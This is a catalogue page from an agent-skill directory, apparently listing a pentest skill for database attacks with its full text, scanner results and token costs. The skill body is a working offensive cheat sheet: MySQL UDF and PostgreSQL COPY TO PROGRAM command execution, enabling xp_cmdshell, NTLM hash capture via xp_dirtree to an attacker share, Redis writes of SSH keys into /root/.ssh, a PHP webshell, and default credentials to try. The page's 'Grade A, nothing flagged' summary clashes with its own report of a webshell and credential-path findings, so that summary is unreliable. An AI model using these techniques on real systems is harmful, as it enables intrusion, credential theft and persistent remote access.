Getting it into your agent
One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.
npx skills add s0ld13rr/pentestcode --skill databasegit clone --depth 1 https://github.com/s0ld13rr/pentestcodeWrote this? Show the measurements
A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.
[](https://agentmods.dev/skills/s0ld13rr/pentestcode/database)<a href="https://agentmods.dev/skills/s0ld13rr/pentestcode/database"><img src="https://agentmods.dev/badge/skills/s0ld13rr/pentestcode/database/github.svg" alt="Measured on agentmods" height="20"></a>Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.
<a href="https://agentmods.dev/skills/s0ld13rr/pentestcode/database"><img src="https://agentmods.dev/badge/skills/s0ld13rr/pentestcode/database.svg" alt="Reviewed on agentmods" width="80" height="20"></a>- NVIDIA SkillSpector warn
SkillSpector: 2 findings, up to critical
These are SkillSpector’s own severities. On a checked sample its high-severity flags on skills were ~96% false positives — a documented command, a public API, a “never do X” rule — so we show them as a caution to read, not a verdict. Why →
- critical YARA Match · line 35 YARA rule matched a known webshell pattern (PHP, Python, JSP, or ASPX webshell).Fix: Remove the webshell code immediately. Webshells provide unauthorized remote command execution. Audit the skill for additional backdoors or persistence mechanisms.
- high Privilege Escalation · line 12 Code accesses credential files (SSH keys, AWS credentials, etc.). This could indicate credential theft attempts.Fix: Remove references to credential paths. Use environment variables or secrets managers. For docs, use placeholder paths (e.g., /path/to/config). Never load .env or token files in production code paths.
What it costs to keep this loaded
Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.
| Model | Per session | Once invoked |
|---|---|---|
| Fable 5.1 | $0.00064 | $0.00422 |
| Opus 5.5 | $0.00026 | $0.00169 |
| Sonnet 5.5 | $0.00013 | $0.00084 |
| Haiku 4.5 | $0.00006 | $0.00042 |
Grade A, and why
svc-database scanned grade A with 0 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 1mo ago.
A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.
Nothing flagged
None of the 26 patterns this scan looks for appear in this file: no shell pipes, no recursive deletes, no credential paths, no hidden text, no instruction-override or anti-refusal phrasing, no agent-config snooping. That is not a guarantee, it is the absence of the things that are checkable.
What it actually says
Database — RCE & Escalation Paths
Standard enumeration (connect, list DBs, dump users) — you know this. Below is what matters.
MySQL → RCE via UDF
Requires FILE privilege + write access to plugin dir. Upload lib_mysqludf_sys.so → SELECT sys_exec('id').
Also: SELECT LOAD_FILE('/etc/passwd') for file read.
PostgreSQL → RCE via COPY TO PROGRAM
Requires superuser: COPY (SELECT '') TO PROGRAM 'id';
Alternative: large object import/export for file read/write.
MSSQL → xp_cmdshell
If disabled (common): EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;
Then: EXEC xp_cmdshell 'whoami';
Hash capture: EXEC xp_dirtree '\\ATTACKER\share'; → catch with Responder.
Redis no-auth → RCE (two methods)
SSH key write:
CONFIG SET dir /root/.ssh
CONFIG SET dbfilename authorized_keys
SET payload "\n\nssh-rsa AAAA...your_key...\n\n"
SAVE
Webshell (if web server co-hosted):
CONFIG SET dir /var/www/html
CONFIG SET dbfilename shell.php
SET payload "<?php system($_GET['cmd']); ?>"
SAVE
MongoDB / Elasticsearch — no auth = full dump
Both default to no authentication. Connect and enumerate immediately.
Default creds worth trying
MySQL: root (no password), root/root. PostgreSQL: postgres/(empty). MSSQL: sa/(empty or common).
What this file has done since we first saw it
Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.
- 1mo ago Changed · -55 lines · -31 tokens per session 6288f28b83df
- 1mo ago First seen · 99 lines · 95 tokens per session scan A a6211a9b49dd
svc-database is a skill published in the GitHub repository s0ld13rr/pentestcode (849 stars, last pushed 14d ago), licensed MIT. It adds 64 tokens to every session and 422 once invoked, about $0.0003 per session on Opus 5.5. A static security scan graded it A with 0 findings. No closer match exists in the catalogue, so it is treated as the original; first seen 2026-08-30.
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